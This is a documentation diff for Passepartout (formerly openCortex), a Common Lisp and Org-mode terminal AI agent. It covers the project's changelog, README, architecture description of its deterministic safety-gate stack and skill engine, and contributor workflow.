+All notable changes to Passepartout, extracted from [[file:docs/ROADMAP.org][ROADMAP.org]]
+DONE items with LOGBOOK timestamps.
+
+* v0.6.0 — Time Awareness
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
+
+** Temporal Memory Filtering (symbolic-time-memory skill)
+
+- ~memory-objects-since(timestamp)~ — hash-table walk returning objects with ~version >= timestamp~
+- ~memory-objects-in-range(since until)~ — version between two timestamps (inclusive)
+- ~context-query-with-time~ — extended query with ~:since~ / ~:until~ parameters
+- 6 tests, 100% pass. Pure Lisp, sub-millisecond, 0 LLM tokens
+
+** Sensor-Time Skill
+
+- ~format-time-for-llm~ — TIME: section for system prompt, iso/natural format
+- ~session-duration~ — session start tracking, included in TIME section
+- ~sensor-time-tick~ — deadline scanning via cron (~:reflex~ tier), 0 LLM tokens
+- ~TIME_AWARENESS~ / ~TIME_FORMAT~ / ~DEADLINE_WARNING_MINUTES~ env vars
+- 13 tests, 100% pass
+
+** System Prompt
+
+- TIME section injected at top of ~think()~ via ~fboundp~ guard in ~core-reason.lisp~
+- Falls back gracefully when sensor-time skill not loaded
+
+* v0.5.1 — Compilation Hardening
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
+
+- Fixed ~defvar~ missing opening paren in ~security-vault.lisp~
+- Updated 19 CFFI struct references in ~embedding-native.lisp~ (deprecation fix)
+- Fixed heartbeat variable scope in ~symbolic-events.lisp~ (~passepartout::~ prefix)
+- Suppressed ~100 harmless cross-skill STYLE-WARNINGs via bash script filter
+- ROADMAP: two false errors documented (~symbolic-memory~ lambda, ~gateway-messaging~ deleted)
+- Test suite: 116/116 (100%)
+
+* v0.5.0 — File Reorganization & Token Economics
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
+
+** File Reorganization (self-repair criterion)
+
+- Extracted ~core-context~ → ~symbolic-awareness~ (skill, hot-reloadable)
+- Extracted heartbeat generation → ~symbolic-events~ (skill)
+- Relocated 6 utility fragments to correct files

-*opencortex* is a minimalist, extensible AI agent framework designed to manage and continuously organize your personal knowledge base. It transforms a static collection of plaintext notes into a live, programmable [[https://en.wikipedia.org/wiki/Memex][Memex]]—an automated, personalized memory system where humans and AI collaborate in the exact same workspace.
+Passepartout is an AI assistant that runs in your terminal. It reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Every action the LLM proposes is checked by ten deterministic safety gates before it touches a file, runs a command, or sends a message. The LLM suggests. The gate decides.
+Everything it knows is a folder of plain text files that you own.
 
-* The Problem with Current AI Agents
+*Install:*
 
-The current ecosystem of AI agents (typically built in Python or TypeScript) is overwhelmingly built on architectural choices that prioritize rapid prototyping over long-term reliability, security, and self-modification:
-
-** 1. The Format Trap (Markdown & JSON)
-
-Most agents force a painful translation layer. Humans write in Markdown, which lacks a strict Abstract Syntax Tree (AST)—a rigorous, nested representation of data that machines need to parse context reliably. Machines, in turn, output JSON, which is hostile for human thought and note-taking.
-
-The result is a fractured workspace where the agent's memory and the human's memory are fundamentally incompatible. You cannot see what the agent sees. The agent cannot naturally work with your notes.
-
-** 2. The Language Trap (Python & TypeScript)
-
-Python and TypeScript are fantastic for gluing together APIs, but they are poorly suited for an agent that needs to safely read, write, and execute its own code at runtime. Their underlying structures are complex and opaque, making autonomous self-editing incredibly brittle and dangerous.
-
-How do you trust an agent to modify its own Python code when Python's AST is so complex that even human programmers need IDEs to navigate it?
-
-** 3. The Probabilistic Trap
-
-Almost all modern agents rely entirely on /probabilistic/ reasoning. We ask an AI model to guess a shell command or write a Python script, and then blindly pipe that output to a terminal. Without a rigorous, /deterministic/ layer to formally verify the model's proposals before execution, these systems are fundamentally unsafe.
-
-The model might hallucinate a command. It might output valid syntax that still does something dangerous. Without a deterministic gate, there's nothing between the guess and the terminal.
-
-* The Vision: A Modern, Homoiconic Memex
-
-openCortex abandons these fragile paradigms by returning to first principles and embracing two historically powerful technologies: *Org-mode* and *Common Lisp*.
-
-** Org-mode: The Universal Language
-
-Instead of wrestling with Markdown parsers or hiding data in opaque databases, openCortex mandates that *Org-mode is the native AST for both humans and machines.*
-
-Org-mode is unique because it seamlessly brings together:
-- Human-readable prose
-- Structured metadata (properties and tags)
-- Lifecycle states (TODO/DONE/PLAN)
-- Executable code blocks
-
-...all in a single plain-text file. The code is the data, and the data is the interface. When the agent "remembers" a fact or schedules a task, it writes an Org headline. You read exactly what the agent reads.
-
-This is not a compromise—it's the design principle. The agent's memory and your memory are the same format, the same file, the same text.
-
-** Common Lisp: The Engine of Self-Modification
-
-There is a beautiful irony to openCortex: Lisp was invented in 1958 specifically to achieve Artificial Intelligence, and it has been waiting nearly 70 years for /this exact moment/ in computing history.
-
-Lisp possesses a unique property called *Homoiconicity*: the primary representation of the program is also a data structure (nested lists) within the language itself. Because Lisp code /is/ Lisp data, it is trivially easy for an AI to generate, manipulate, and safely evaluate new tools at runtime.
-
-This makes Lisp the ultimate, un-brittle language for a "self-writing" agent. The agent doesn't need an AST parser—it can simply read and write lists directly. The agent doesn't need a code generator—it can write Lisp that executes Lisp.
-
-** The Probabilistic-Deterministic Loop
-
-openCortex does not let AI models touch your system directly. Instead, it splits cognition into two distinct engines:
-
-1. *The Probabilistic Engine (Neural/Dynamic):* Provides semantic understanding and dynamic reasoning. It utilizes a **Dynamic LLM Cascade** (OpenRouter, Ollama, Anthropic) to ensure the agent always has a "brain," falling back to local models if cloud services are unavailable.
-
-2. *The Deterministic Engine (Logic/Safety):* Intercepts LLM proposals and formally verifies them against your security rules (the "Bouncer" pattern) before execution.

-* Architecture: Thin Harness, Fat Skills
+This installs dependencies (SBCL, Quicklisp), tangles the Org source files, and runs the setup wizard for LLM providers. Requires curl and sudo access for package installation.
 
-To guarantee long-term stability, openCortex enforces a strict architectural boundary inspired by the "thin harness, fat skills" philosophy.
+* What is an AI Agent?
 
-** The Minimalist Harness
+An AI agent is a program that can act on your behalf — reading files, running commands, sending messages — rather than just answering questions. Unlike a chatbot that only produces text, an agent has /actuators/ that let it affect the world: a shell, a file editor, a message sender. See [[https://en.wikipedia.org/wiki/Software_agent][Software agent]] on Wikipedia.
 
-The Lisp microkernel is a thin, unbreakable harness strictly responsible for:
+Passepartout is a /sovereign/ agent: it runs on your machine, operates on your plain-text files, and verifies every action through deterministic safety gates before execution.
 
-| Layer | Responsibility | Examples |
-|-------|----------------|----------|
-| *Perceive* | Normalize sensory input | CLI parsing, Emacs events, heartbeats |
-| *Reason* | Bridge neural and deterministic | LLM dispatch, response parsing, skill routing |
-| *Act* | Execute approved actions | Shell commands, tool calls, UI output |
-| *Memory* | Live object store | Org-object graph, snapshots, rollback |
+* What Makes Passepartout Different
 
-What the harness does /not/ contain:
-- Policy rules (those are skills)
-- LLM integrations (those are skills)
-- Domain-specific functionality (those are skills)
+** Every action is verified, not trusted.
 
-** Literate, Single-File Skills
+Most AI agents add safety checks as an afterthought — prompt-based guardrails that consume LLM tokens and can be evaded with clever phrasing. Passepartout inverts this: ten deterministic safety gates run in pure Lisp between the LLM's proposal and execution. Secret scanning checks for API key leaks. Path protection blocks reads and writes to sensitive files, including a self-build safety boundary that prevents the agent from modifying its own core pipeline without human review. Shell safety detects destructive commands and injection vectors. Network exfiltration detection flags unauthorized outbound connections. Lisp syntax validation catches malformed code before it writes to disk.
 
-In openCortex, a Skill is simply a *single .org file* containing everything:
-- The documentation (prose explaining the skill's purpose)
-- The AI instructions (how the LLM should use this skill)
-- The deterministic code (Lisp that verifies/proposes actions)
+Every gate costs 0 LLM tokens. Every gate is a Common Lisp function, not a prompt. Every gate runs for every action, unconditionally.
 
-When the system boots, it compiles these skills directly into the live Lisp image. Skills are hot-reloadable without restarting the daemon.
+If a gate blocks a proposal, the rejection feedback goes back to the LLM so it can self-correct and try again. If the deterministic Dispatcher is uncertain, it creates a Flight Plan — a human-readable Org buffer you review and approve. The human decides. The Dispatcher learns from your decision and writes a rule for next time.

+Passepartout is designed with a downward cost curve — an architectural property, not yet measured empirically. Here is the thesis.
 
-    Code --> |Compiles into| Harness
-    Harness --> |Runs| Pipeline
-    Pipeline --> |Feeds| Skill
+When you use Passepartout, the Dispatcher observes every blocked action and every human-approved exception. Each decision becomes a deterministic rule. A file write you approved once becomes an allowed path pattern. A shell command you denied becomes a permanent block. Each hardened rule means one fewer LLM call next time. This rule-learning system is planned for v0.5.0.
+
+Meanwhile, the foveal-peripheral context model prunes your [[https://en.wikipedia.org/wiki/Memex][memex]] — your personal knowledge base, a term coined by Vannevar Bush in 1945 for a mechanised private library — to the relevant Org subtrees before sending anything to the LLM. The agent does not load your entire knowledge base, or even the entire file like agents that use Markdown do — it loads precisely the headlines that matter. Less context in, fewer tokens out.
+
+These mechanisms are implemented and working today. Token cost measurement and optimization are tracked in the [[file:docs/ROADMAP.org][v0.5.0 Roadmap]]. Until empirically verified, the cost claims in [[file:docs/DESIGN_DECISIONS.org][Design Decisions]] (2-3x fewer tokens for coding, 13-24x for knowledge management) should be read as architectural projections, not measured results.
+
+** It edits its own source code. Verified before execution.
+
+Passepartout can read its own Org-mode source files, propose changes, and hot-reload skills into the running image without restarting. The skill engine loads every skill into a jailed Common Lisp package, validates its syntax, tests its trigger function in isolation, and only then promotes it to the live registry.
+
+Core pipeline files — the Perceive-Reason-Act loop, the Merkle-tree memory, the Dispatcher gate stack — are path-protected. The agent could modify its own brain stem, but it cannot do this without human review. Skills and system modules expand freely. The core stays small, protected, and auditable.
+
+No other AI agent can modify its own reasoning engine and reload the change while it is running. This is not a planned feature. It works today.
+
+** Your memory and your tasks are the same format. Org-mode.
+
+Passepartout makes a bet that most systems consider too expensive: humans and machines should share the same file format. That format is Org-mode.
+
+Your notes, your calendar, your project plans, the agent's memory, and the agent's own source code are all the same thing: Org files in ~/memex/. =headline trees. Property drawers for metadata. Source blocks for code. TODO keywords for task state. Tags for categorization.
+
+When you write a TODO in Emacs, the agent sees it immediately as a native data structure and acts on it. When the agent creates a note, you can open it in any text editor and read it. There is no import/export step, no hidden database (except maybe for indexing), no format conversion. If Passepartout stops existing tomorrow, your data survives in plain text, readable in 2040.
+
+** Works offline. Works locally. The safety doesn't stop.
+
+You can run Passepartout entirely on your hardware with a local LLM via Ollama or some other inference engine. No internet connection required. But unlike most local AI tools, offline mode does not mean safety-last. The ten deterministic safety gates are pure Common Lisp — they run identically whether you are online or off. The Merkle-tree memory with snapshot rollback is in-process, 0 milliseconds, 0 network calls. Semantic retrieval runs on in-image vectors, 0 LLM tokens per query.
+
+Cloud providers (OpenRouter, OpenAI, Anthropic, Groq, Gemini, DeepSeek, NVIDIA NIM...) are optional add-ons. When you use them, the model-tier router automatically selects the cheapest provider that matches your task's complexity. Privacy-tagged content stays local even when cloud providers are configured.
+
+* How It Works
+
+Every signal — a chat message, a heartbeat tick, a file change notification — moves through three stages:
+
+#+begin_example
+Signal  →  Perceive  →  Reason  →  Act
+            normalize    LLM proposes  dispatch approved action
+                         gates verify  tool output feeds back
+#+end_example
+
+*Perceive* normalizes raw input from any gateway (TUI, CLI, Telegram, Signal) into a uniform signal plist. Buffer updates from Emacs ingest Org AST nodes into memory. Heartbeat ticks trigger background maintenance. HITL commands intercept before the LLM is invoked.
+
+*Reason* calls the LLM to generate a proposal, then runs the proposal through every registered deterministic gate — sorted by priority, highest first. If a gate rejects (shell command blocked, path protected, secret exposed), the rejection trace feeds back to the LLM for self-correction, up to three retries. If a gate requests human approval, the action becomes a Flight Plan awaiting your decision. If all gates pass, the action proceeds to Act.
+
+*Act* dispatches the approved action to the correct actuator: shell commands go to the shell actuator (with timeout and output limiting), tool invocations go to the cognitive tool registry, system commands trigger internal harness operations, and chat responses route to the TUI or messaging gateway. Each stage can feed back into Perceive — a tool output becomes the next perception.
+
+This pipeline is not a single-threaded bottleneck. The priority-queued signal processor (v0.5.0 roadmap) preempts background maintenance for user interactions. The Merkle-tree memory supports concurrent reads and writes through versioned snapshots — multiple signals can process simultaneously without corrupting shared state.

-** The Metabolic Pipeline
+See [[file:docs/USER_MANUAL.org][User Manual]] for the full guide.
 
-Every signal in openCortex moves through the same three-stage pipeline:
+* Project Documentation
 
-1. *Perceive:* Normalize raw input into a standardized Signal
-2. *Reason:* Generate a proposal via LLM, verify via skills
-3. *Act:* Execute the approved action, generate feedback

-** The Skill Registry
-
-Skills are discovered, sorted by dependency, and loaded at boot:
-
-#+begin_src mermaid
-flowchart LR
-    subgraph Discovery["Skill Discovery"]
-        Scan["Scan skills/ directory"]
-        Sort["Topological sort by DEPENDS_ON"]
-    end
-
-    subgraph Loading["Skill Loading"]
-        Validate["Validate syntax"]
-        Jail["Jail in package namespace"]
-        Register["Register in catalog"]
-    end
-
-    Scan --> Sort --> Validate --> Jail --> Register

-
-* The Three Data Stores
-
-openCortex maintains three distinct representations of your knowledge:
-
-| Store | Format | Location | Purpose |
-|-------|--------|----------|---------|
-| *Source of Truth* | Plaintext .org files | `~/memex/` | Human-readable, version-controlled |
-| *Active Brain* | RAM (Lisp hash tables) | Memory | Fast, live, queryable |
-| *Snapshots* | Binary .snap files | `~/.opencortex/` | Crash recovery, rollback |
-
-The Active Brain is built from the Source of Truth on boot and kept in sync via:
-- Buffer updates from Emacs (when you edit)
-- Heartbeat snapshots (periodic persistence)
-- Graceful shutdown saves
-
-* The Evolutionary Roadmap
-
-openCortex's roadmap is designed working backwards from SOTA parity (V 1.0.0), guided by a critical analysis of four reference systems: OpenCode, Claude Code (leaked source), GBrain, and OpenClaw/Hermes. Every borrowed concept is reimplemented in pure Lisp. Every rejected pattern is documented.
-
-** Non-Negotiable Identity
-- Pure Common Lisp + Org-mode. No JSON. No YAML. No external databases.
-- Single-address-space memory (Lisp hash tables in RAM — we *are* the memory).
-- "Thin harness, fat skills" — complexity lives at the edges, not the kernel.
-- One agent composed of many skills. No sub-agent topologies.
-- Plists everywhere — homoiconic communication between all components.

-*** OpenCode: Borrowed / Rejected
-
-| Feature | Decision | Rationale |
-|---------|----------|-----------|
-| Permission filtering before LLM sees tools | BORROW | Hook into =generate-tool-belt-prompt= to exclude denied tools. We have =:guard= but no pre-filter. |
-| Hook system (session start/end) | BORROW | Already designing event-orchestrator. Expose via =#+HOOK:= properties. |
-| Skills with YAML frontmatter | REJECT | Our Org-mode =:PROPERTIES:= + =#+FILETAGS= already do this. |
-
-*** Claude Code: Borrowed / Rejected
-
-| Feature | Decision | Rationale |
-|---------|----------|-----------|
-| ULTRAPLAN / structured task decomposition | BORROW (reimplement) | LLM already generates plist actions. Add task-tree skill that decomposes into Org-mode headline DAGs with terminal states. |
-| 43 integrated tools | BORROW (approach) | Start with ~3. Build more as skills. Keep =def-cognitive-tool= pattern. |
-| 4-tier permission chain (ask/allow/deny) | BORROW (concept) | Three-tier per-tool permission: ask/allow/deny stored in org-objects. |
-| Multi-agent hub-and-spoke topology | REJECT | We have one agent. Concurrency via bordeaux-threads (shared memory). Skills ARE the specialization — intra-process, not inter-process. |
-| Mailbox pattern for dangerous ops | REJECT | Jailed skill packages + Policy skill already provide isolation. Bouncer gate satisfies "worker can't self-approve". |
-
-*** GBrain: Borrowed / Rejected
-
-| Feature | Decision | Rationale |
-|---------|----------|-----------|
-| RESOLVER.md intent routing | BORROW (concept) | =find-triggered-skill= already does this. Enhance with multi-skill triggers for complex intents. |
-| Three search modes (keyword, hybrid, direct) | BORROW | Keep keyword + direct. Hybrid/vector via local Ollama embeddings — no external DBs. |
-| Memory segmentation (brain/agent/session) | BORROW (concept) | Extend org-object with =:scope= property: =:memex= (permanent), =:session= (ephemeral), =:project= (scoped). |
-| 20+ cron jobs for background work | BORROW (concept) | Heartbeat already does this. Enhance with Event Orchestrator's cron registry — pure Lisp. |
-| Sub-agent model routing for cost | BORROW (concept) | Our =*model-selector-fn*= already selects models. Extend to route by complexity tier. |
-| Postgres + pgvector | REJECT | Single-address-space hash tables. No external databases. |
-
-*** opencortex-contrib: Integrate / Reject
-
-| Skill | Decision | Rationale |
-|-------|----------|-----------|
-| self-fix + lisp-repair | INTEGRATE | Merge into =org-skill-self-edit=. Our memory has snapshot/rollback. Add =repair-file= as cognitive tool. |
-| event-orchestrator | INTEGRATE | Merge hooks + cron + routing into ONE skill. Our loop has no unified orchestration. |
-| formal-verification | INTEGRATE | =def-invariant= macro + =verify-action-formally= belong in =org-skill-policy.org= as additional checks. |
-| engineering-standards | INTEGRATE | Git-clean-p gate + "Commit Before Modify" belong in Policy. |
-| sub-agent-manager | REJECT | Redundant with BT threads. Our =defskill= pattern (trigger + probabilistic + deterministic) is intra-process specialization — same goal, zero process overhead. |
-| embedding-generator | BORROW | Ollama embeddings for semantic search — no external vector DB. |
-| playwright + web-research | DEFER | V 0.5.0. Browser automation via Python bridge. |

-
-** Design Principles
-
-** 1. Radical Transparency
-
-If you can't explain it, you can't do it. Every action must be auditable. Hidden reasoning is forbidden.
-
-** 2. Autonomy First
-
-Dependency on proprietary systems is debt. Prefer local, offline-capable solutions.
-
-** 3. Zero Bloat
-
-Complexity must be earned, not anticipated. The harness must remain minimal.
-
-** 4. Modularity
-
-The kernel must survive even if all skills fail. Complexity belongs at the edges.
-
-** 5. Mentorship
-
-Teaching is the highest form of assistance. Every action should increase capability.
-
-** 6. Sustainability
-
-Build for the 100-year horizon. Design for offline operation, local inference.

+#+TITLE: Passepartout Architecture
+#+AUTHOR: Agent
+#+STARTUP: content
+
+* The Four Quadrants
+
+Passepartout divides cognition along two axes: **Foreground vs Background** (initiated by the user vs running autonomously) and **Probabilistic vs Deterministic** (LLM-driven vs pure Lisp logic).
+
+|                | Probabilistic (LLM)                                         | Deterministic (Lisp)                                       |
+|----------------+-------------------------------------------------------------+------------------------------------------------------------|
+| **Foreground** | Chat responses, task execution, code generation             | Shell execution, file I/O, safety gates, dispatcher checks |
+| **Background** | Scribe distillation, vector embedding, autonomous decisions | Heartbeat, cron jobs, memory auto-save, gateway polling    |
+
+The Probabilistic engine proposes. The Deterministic engine verifies and executes. No proposal from the LLM touches a file, runs a command, or sends a message without passing through at least one deterministic gate.
+
+* Architectural Layers
+
+** Core Pipeline (loaded by ASDF — the harness)
+- package definition: defpackage, cognitive tools, logging
+- memory: memory-object struct, Merkle hashing, snapshots, persistence
+- context: foveal-peripheral rendering, context assembly for LLM
+- pipeline: perceive → reason → act stages, orchestrator, heartbeat
+- skills engine: defskill macro, topological sorter, jailed loading
+- communication: framed TCP protocol, actuator registry, daemon server
+- diagnostics: health checks, doctor CLI
+
+** Skills (loaded at runtime by the skill engine)
+- gateway: TUI, CLI, messaging (Telegram, Signal)
+- system-model: provider dispatch, router, embeddings, model explorer
+- security: dispatcher (safety gate), policy, permissions, validator, vault
+- programming: Lisp, Org, literate tools, REPL, standards
+- system: config, archivist, self-improve, memory introspection, shell actuator, event-orchestrator, context-manager, setup
+
+** Clients (connect to daemon via framed TCP protocol)
+- TUI: Croatoan-based terminal interface (model-view architecture, dirty-flag rendering)
+- CLI: pipe-friendly command-line gateway
+- Emacs: elisp bridge speaking the wire protocol (planned v0.4.0)
+
+* Pipeline Flow
+
+Every signal moves through three stages:
+
+```
+Signal → Perceive (normalize) → Reason (think + verify) → Act (dispatch)
+```
+
+The signal is a plist: ~(:TYPE :EVENT :META (...) :PAYLOAD (:SENSOR :user-input :TEXT "..."))~
+
+1. **Perceive** normalizes raw input from any gateway into a uniform signal
+2. **Reason** calls the LLM to generate a proposal, then runs the proposal through all registered deterministic gates (sorted by priority). If a gate rejects the proposal, the rejection trace feeds back to the LLM for self-correction (up to 3 retries)
+3. **Act** dispatches the approved action to the registered actuator (~:cli~, ~:tool~, ~:system~, ~:shell~, ~:telegram~, ~:signal~)
+
+Each stage can produce feedback signals that loop back to Perceive (e.g., a tool-execute action produces a ~:tool-output~ event that becomes the next perception).
+
+** Depth limiting
+
+A depth counter prevents infinite loops. If a signal's depth exceeds 10, it is silently dropped. This is the circuit breaker for runaway recursive cycles.
+
+* Foveal-Peripheral Context Model
+
+When the agent assembles context for the LLM, it does not send the entire memory. It renders a sparse outline using three rules:
+
+1. *Depth ≤ 2* — the root node and its immediate children are always included (title and properties only, no content).
+2. *Foveal focus* — the node the user is currently interacting with is rendered in full, including its body content and all descendants.
+3. *Semantic relevance* — any node whose embedding vector has cosine similarity ≥ threshold (default 0.75) to the foveal node is rendered in full.
+4. *Temporal relevance* — nodes modified within a time window (current session, today) are rendered in full. Deadlines and scheduled items approaching within the warning window (default 60 minutes) are surfaced proactively in the awareness context. Nodes older than the window are title-only. This is the temporal dimension of the foveal-peripheral model: prune in time as well as in semantic space.
+
+Nodes that don't match any rule are rendered as title-only — a single Org headline with its :ID: property. This keeps active context between 2,000–4,000 tokens for typical memex sizes, versus 50,000–150,000 tokens for a full serialization. The embedding vectors that power semantic retrieval are computed at ingest time (~ingest-ast~ in core-memory.lisp) and can use local models (Ollama), cloud APIs (OpenAI embeddings), or a zero-dependency lexical fallback (trigram Jaccard similarity).
+
+For the rationale behind sparse-tree rendering and why this architecture outperforms "load everything" systems, see Design Decisions: Org-Mode as Unified AST.
+
+* Dispatcher Gate Stack
+
+Every action the LLM proposes passes through a stack of deterministic gates before execution. Gates are registered as skills with ~defskill~ and sorted by priority (highest first) in ~cognitive-verify~ (core-loop-reason.lisp).
+
+| Priority | Gate                      | What It Checks                                           |
+|----------+---------------------------+----------------------------------------------------------|
+| 600      | security-permissions      | Tool permission table (allow/ask/deny per tool)          |
+| 600      | security-vault            | Credential storage integrity                             |
+| 500      | security-policy           | Requires :explanation on every action                    |
+| 150      | security-dispatcher       | 11-check safety: lisp, secret path, self-build,          |
+|          | (the Dispatcher)          | content exposure, vault, privacy tags, privacy text,      |
+|          |                           | shell safety, network exfil, high-impact approval         |
+| 95       | security-validator        | Protocol schema validation                               |
+| 100      | system-archivist          | Scribe and Gardener maintenance on heartbeat             |
+| 80       | system-event-orchestrator | Cron job dispatch on heartbeat                           |
+
+Gates return either the action (passed through unchanged), a rejection (:LOG or :EVENT with block reason), or an approval request (:EVENT with :level :approval-required). Rejections feed back to the LLM as a rejection trace — the model sees what it proposed, which gate blocked it, and why, and retries with that context (up to 3 retries). Approval requests create Flight Plan Org nodes requiring human review via the HITL workflow.
+
+Every gate is a pure Common Lisp function. Verification costs 0 LLM tokens. Contrast with prompt-based guardrails (Claude Code, OpenClaw, Hermes Agent) which consume 100–500 LLM tokens per verification.
+
+For the rationale behind deterministic vs prompt-based safety, see Design Decisions: The Probabilistic-Deterministic Split and The Dispatcher as Learning System.
+
+* Embedding & Semantic Retrieval Pipeline
+
+Every memory-object can carry an embedding vector for semantic search. The pipeline:
+
+1. *Ingest* — ~ingest-ast~ (core-memory.lisp) calls ~embeddings-compute~ on new objects, storing the vector in ~memory-object-vector~.
+2. *Queue* — objects with stale vectors are queued via ~mark-vector-stale~. The ~embed-all-pending~ cron job (every 10 minutes, :REFLEX tier) drains the queue and recomputes vectors.
+3. *Retrieval* — ~context-awareness-assemble~ (core-context.lisp) passes the foveal node's vector to ~context-object-render~. Nodes with cosine similarity ≥ threshold against the foveal vector are rendered in full rather than as title-only.
+
+Three backends are available, selected via ~EMBEDDING_PROVIDER~:
+- :local — Ollama-compatible /api/embeddings endpoint (e.g., nomic-embed-text)
+- :openai — OpenAI /v1/embeddings API (e.g., text-embedding-3-small)
+- :hashing — zero-dependency lexical fallback using trigram Jaccard similarity (replaced SHA-256 hashing in v0.4.0 because cryptographic hashes maximise output divergence — the opposite of what a similarity metric needs)
+
+For the design rationale, see Design Decisions: Token Economics and Performance Advantage.
+
+* Skill Lifecycle
+
+1. *Discovery:* ~skill-initialize-all~ scans the skills directory, globs for ~*.lisp~ files (excluding ~core-*~ files which are loaded by ASDF)
+2. *Sorting:* ~skill-topological-sort~ orders skills by their ~#+DEPENDS_ON:~ declarations
+3. *Loading:* Each skill is loaded into a jailed package (~passepartout.skills.<skill-name>~). The loader removes ~in-package~ forms, evaluates the remaining code in the jailed package, and exports symbols matching the skill's short name to ~passepartout~
+4. *Registration* The skill's ~defskill~ call creates a ~skill~ struct in ~*skill-registry*~, registering its trigger function, probabilistic prompt generator, deterministic gate, and system-prompt augment
+5. *Triggering:* On each cognitive cycle, ~skill-triggered-find~ iterates the registry and returns the highest-priority skill whose trigger matches the context
+6. *Hot-reload:* A skill can be replaced at runtime by loading a new version into its jailed package — no restart needed
+
+* Communication protocol Format
+
+All communication between the daemon and its gateways (TUI, CLI, Emacs) uses length-prefixed plists over TCP:
+
+```
+00002C(:TYPE :EVENT :PAYLOAD (:ACTION :handshake :VERSION "0.4.0"))
+```
+
+The 6-character hex prefix encodes the payload length. The payload is a ~prin1~-serialized plist. ~*read-eval*~ is bound to nil on the receiving end to prevent code injection.
+
+** Standard message envelope:
+
+| Key | Value | Meaning |
+|-----|-------|---------|

+The protocol lifecycle begins with a handshake: the daemon sends a :handshake action with its version, and the client responds with its capabilities. After handshake, either side can send any message type. The daemon never initiates a disconnect — clients poll for messages and reconnect on EOF.
+
+Planned for v0.6.3: streaming chunk frames (~:type :stream-chunk~) carrying partial LLM output. The final chunk is an empty string signalling end-of-stream, enabling interrupt-and-redirect from the client side.

-
-* v0.1.0 - The Autonomous Foundation (2026-04-20)
-This is the initial MVP release of the ~opencortex~. It establishes a secure, auditable Lisp kernel for a personal operating system.
-
-** Features
-- **Unified Envelope Architecture:** Actuator-agnostic protocol that decouples routing metadata from cognitive payloads, ensuring all clients (TUI, Emacs, CLI, Matrix) are treated as equal citizens.
-- **Metabolic Pipeline:** Robust Perceive-Reason-Act loop with selective memory rollbacks and graceful shutdown handling.
-- **Verification Lock:** Mandatory skill enforcement via environment configuration. System halts if security policies or bouncers fail to load.
-- **Foveal-Peripheral Context:** High-resolution focus on active tasks with low-resolution skeletal awareness of the rest of the Memex.
-- **The Bouncer:** Last-mile deterministic security gate with Deep Packet Inspection for secrets and network exfiltration.
-- **Autonomous Scribe:** Background distillation worker that turns daily journal entries into evergreen Zettelkasten notes. Verified to distill atomic concepts autonomously.
-- **Autonomous Gardener:** Heartbeat-driven worker that repairs broken links and identifies orphaned nodes in the Memex graph.
-- **Unified Onboarding:** Single-command installation (~opencortex.sh~) with Docker support, OS detection, and automated dependency resolution.
-- **Channel-Aware TUI:** Interactive Croatoan-based terminal client with clean, human-readable formatting for tool results and system logs.
-- **CLI Gateway:** Local TCP socket server for pipe-friendly interaction and frictionless first contact.
-
-** Licensing & Community
-- **AGPLv3 License:** OpenCortex is now officially licensed under the GNU Affero General Public License v3.0.
-- **Contributor License Agreement:** Implemented a broad CLA (~CLA.org~) for long-term project sustainability.
-
-** Architectural Shift
-- Transitioned to **Literate Granularity**: Every function and invariant is now formally documented in its own Org block.
-- **Provider Agnosticism:** Implemented a dynamic LLM cascade (OpenRouter, Ollama, etc.) removing all hardcoded backend dependencies.

 * Philosophy
-OpenCortex is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
+Passepartout is built on a "Zero-Bloat" mandate. The core kernel is mathematically pure, pushing all peripheral logic, API integrations, and routing to hot-reloadable "Skills".
 
-* Literate Granularity
-We strictly adhere to Literate Programming using Org-mode.
-- *Never* edit `.lisp` files in `src/` directly.
-- Modify the corresponding `.org` files in the `literate/` or `skills/` directories.
-- Run `org-babel-tangle` to generate the source code.
-- Every architectural decision, constraint, and implementation detail must be documented alongside the code in the `.org` file.
+* Development Workflow
+
+The full development cycle is described in ~AGENTS.md~. In summary:
+
+1. *Think in org* — write reasoning and goals in the .org file
+2. *Write contract* — define each function's behavior in a ~** Contract~ section
+3. *TDD from contract* — each contract item becomes a ~fiveam:test~; prove RED then GREEN
+4. *Reflect in org* — ensure implementation is in .org source
+5. *Update literate prose* — explain the code: what, why, how it connects
+
+* Literate Programming
+
+~.org~ files in ~org/~ are the source of truth. ~lisp/~ files are generated by ~org-babel-tangle~.
+
+- Never edit =lisp/= files directly — always modify the corresponding =org/= file
+- All ~#+begin_src lisp~ blocks in a file inherit their tangle destination from the file-level ~#+PROPERTY: header-args:lisp :tangle ../lisp/FILE.lisp~
+- Every architectural decision, constraint, and implementation detail must be documented alongside the code
+
+* Contracts and Tests
+
+Every code change starts with a contract and a failing test. Write a ~** Contract~ section listing each function's behavior, then create a ~fiveam:test~ in the ~* Test Suite~ section for each contract item.
+
+To run tests for a specific file:
+
+#+begin_src bash
+sbcl --noinform \
+  --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+  --eval '(ql:quickload :passepartout :silent t)' \
+  --eval '(load "lisp/FILE.lisp")' \
+  --eval '(fiveam:run (intern "SUITE-NAME" :passepartout-TESTS))' --quit
+#+end_src
+
+No test may be committed without proof it was first run to failure (RED).
 
 * Skill Creation Standard
-Skills are the building blocks of OpenCortex. They reside in the `skills/` directory.
 
-A skill must define:
-1. *Trigger*: A lambda determining if the skill should activate based on the context.
-2. *Probabilistic Gate*: Optional. Generates a prompt for the LLM.
-3. *Deterministic Gate*: A hardcoded Lisp function that guarantees safety or executes side-effects (the "Bouncer" pattern).
+A skill is a =.org= file in =org/= that defines:
 
-Example Registration:
+1. *Contract* — what the skill guarantees
+2. *Implementation* — the code, tangled to ~lisp/~ via ~#+PROPERTY: header-args:lisp~
+3. *Skill Registration* — a ~defskill~ form with ~:priority~, ~:trigger~, ~:probabilistic~ / ~:deterministic~
+4. *Test Suite* — ~fiveam:test~ forms verifying the contract
+
+Example:
 #+begin_src lisp
-(defskill :skill-example
+(defskill :passepartout-example
   :priority 100
   :trigger (lambda (ctx) ...)
-  :probabilistic nil
+  :probabilistic (lambda (ctx) ...)
   :deterministic (lambda (action ctx) ...))
 #+end_src
 
-* The Unified Envelope (Communication Protocol)
-All inter-process communication occurs via the Unified Envelope. Do not use legacy specific types like `:CHAT`.
